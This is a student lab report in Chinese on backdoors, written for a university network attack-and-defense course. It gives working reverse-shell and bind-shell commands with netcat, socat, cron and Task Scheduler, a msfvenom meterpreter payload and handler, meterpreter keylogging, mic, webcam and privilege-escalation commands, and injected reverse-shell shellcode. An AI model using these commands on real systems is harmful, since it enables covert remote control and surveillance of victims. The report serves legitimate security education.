网络对抗实验二 后门原理与实践--20201313

发布时间 2023-03-23 22:41:57作者: 徐嘉远

《网络对抗技术》——Exp2 后门原理与实践

一、实验准备

1、实验要求

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2、后门

  • 后门就是不经过正常认证流程而访问系统的通道。

  • 哪里有后门呢?

    • 编译器留后门
    • 操作系统留后门
    • 最常见的当然还是应用程序中留后门
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序
  • 后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。

  • 后门 vs 木马

    • 联系在于:都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制。

    • 区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一。后门程序类似于特洛伊木马(简称"木马"),其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。

      3、常用的后门工具(ncat,...)

      这里按照学长的实验流程测试了一下ncat能否正常使用,截图如下

      第1步获取主机ip

      通过打开kali中的ncat来让主机使用kali的命令行

调换一下角色,让kali来使用主机的命令行

二、实验内容

1. 使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

  • Windows下监听1313端口 ncat.exe -l -p 1313 。
  • kali中,通过 crontab -e 指令便捷定时任务, -e 表示编辑。第一次编辑时选择3。
  • 在打开的文件最后一行添加 40 * * * * /bin/netcat 172.16.231.207 1313 -e /bin/sh ,为了能迅速看到效果,将时间设置为了40分(从左至右参数一次为:分,小时,日,月,年),意思是在每个小时的第40分钟反向连接Windows主机的1313端口。

  • 保存退出后配置即生效。可以通过crontab -l来查看,-l表示list。
  • 在系统时间15:40时,在Windows可以获取kali的shell

2. 使用socat获取主机操作Shell, 任务计划启动

​ socat是ncat的增强版,它使用的格式是 socat [options]

,其中address是必选项,而options是可选项。
​ socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

  • 在Windows中下载socat

  • 此电脑点击右键选择管理,打开“计算机管理”

  • 填写任务名称,并新建一个触发器

  • 在操作->新建->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:1313 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1313,同时把cmd.exe的stderr重定向到stdout上

  • 创建完成之后,点击任务计划程序库,运行创建的任务

  • 运行后

  • 此时,在Kali环境下输入指令

    socat - tcp:192.168.112.129:1313

    • 这里的第一个参数-代表标准的输入输出
    • 第二个流连接到Windows主机的1313端口
    • 此时可以发现已经成功获得了一个cmd shell
    • (由于输入dir 指令后内容过多,所以截图只显示了前面的部分)

3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali上执行指令

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 -f exe > 20201313_backdoor.exe
    

    • IP地址为控制端IP,即kali的IP192.168.112.129
    • 生成了后门程序:20201313_backdoor.exe
  • 在windows上,通过ncat.exe -lv 1313> 20201313_backdoor.exe指令将被控制主机进入接受文件模式, -lv 看到当前的连接状态
  • 在Linux中执行 nc 192.168.112.129 1313 < 20201313_backdoor.exe ,注意这里的IP为被控主机IP,即WindowsIP

  • 传送接收文件成功,在相应的文件夹下可以查看``

  • 在Kali上使用

    msfconsole
    

    指令进入msf控制台

  • 输入use exploit/multi/handler使用监听模块,设置payload
  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
  • set LHOST 192.168.112.129 ,这里是kali的IP,和生成后门程序时指定的IP相同
  • set LPORT 1313,同样要使用相同的端口
  • show options,查看详细信息

  • 设置完成后,执行监听exploit

  • 在Windows下运行后门程序 20201313_backdoor.exe ,运行前应提前关闭杀毒软件的防护

4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic 指令可以截获一段音频,使用 -d 设置录制时间,这里我选择设置时长为10s, -d 10
  • 使用 webcam_snap 指令可以使用摄像头进行拍照
  • 使用 keyscan_start 指令开始记录下击键的过程(需要在Windows中进行任意输入),使用 keyscan_dump 指令读取击键的记录
  • 使用 screenshot 指令可以进行截屏
  • 使用 getuid 指令查看当前用户
  • 使用 getsystem 指令进行提权操作

(录音)

(拍照)(因为我的电脑没有摄像头,所以这段代码显示target does not have a webcam)

(截图)

5. 加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

使用msf生成shellcode

  • 参考学长的实验流程,由于kali的版本相同,所以payload挑选也应该相同,挑选好参数后,因为pwn1为c格式,所以生成shellcode的指令如下
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.112.129 LPORT=1313 -f c
18

根据实验一的方法调试得出修改后的shellcode

根据实验一的学习,我们先通过gdb调试找到shellcode的返回地址 0xffffd500 , 然后复制出下载的文件中的shellcode机器码,将返回地址添加到最前面,同时生成用于注入的 input_shellcode2文件,具体代码如下:

perl -e 'print "A" x 32;print"\x00\xd5\xff\xff\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x70\x81\x68\x02\x00\x05\x21\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"' > input_shellcode2

MSF打开监听

流程与上面的实验相同

在之前的终端输入(cat Input_shellcode;cat) | ./pwn1

在现在的终端发现已经完成注入,并使用有关操作验证各功能已经实现

三、基础问题回答

1. 列举你能想到的一个后门进入到你系统中的可能方式?

下载软件时没注意安装了一个捆绑软件。

2. 例举你知道的后门如何启动起来(win及linux)的方式?

shellcode注入、用cron程序修改linux、通过木马程序远程控制。

3. Meterpreter有哪些给你映像深刻的功能?

可以录音、截取屏幕、获取键位输入,这样就可以获取到主机用户的一些私人信息了。

4. 如何发现自己系统有没有被安装后门?

1.查看任务管理器--进程,是否有可疑程序。查看详细信息是否有可疑程序。必要时详情中点击程序右击打开文件所在的位置看看,再右击程序属性看创建日期及修改日期,看是否最新更新过系统或驱动,没有就要注意了,用杀毒软件看看其是否是后门软件。

2.可以通过“net start”来查看系统中究竟有什么服务在开启,如果发现了不是自己开放的服务,通过杀毒软件对系统进行扫描和检测,如果有问题,或是怀疑有问题,可以用“net stop server”来禁止服务。

四、实践总结与体会

​ 这次实验通过使用后门软件ncat、socat和meterpreter来生成后门对主机与客户机进行攻击,实验过程是按照学长学姐的流程来的,也咨询了做完的同学,好在是一遍跑通的,没有遇到别人一样的管道出错的问题(不过他们好像说第二天重启后就可以了)。其中meterpreter的功能中的截图、录音、获取键位输入等功能让我感到细思极恐,因为如果能获取键位输入,那就可以配合频度检测等统计学手段来获取你常用的账号及其密码,而截图和录音功能就能让个人隐私暴露无遗,不禁让我想起了美国当时的棱镜门事件,这种监控你是完全没有感觉的,所以平时使用电脑时,要常杀毒,常清理,网络上有一些比较好用的小工具可以删除捆绑软件的也可以试用一下来让电脑更加安全。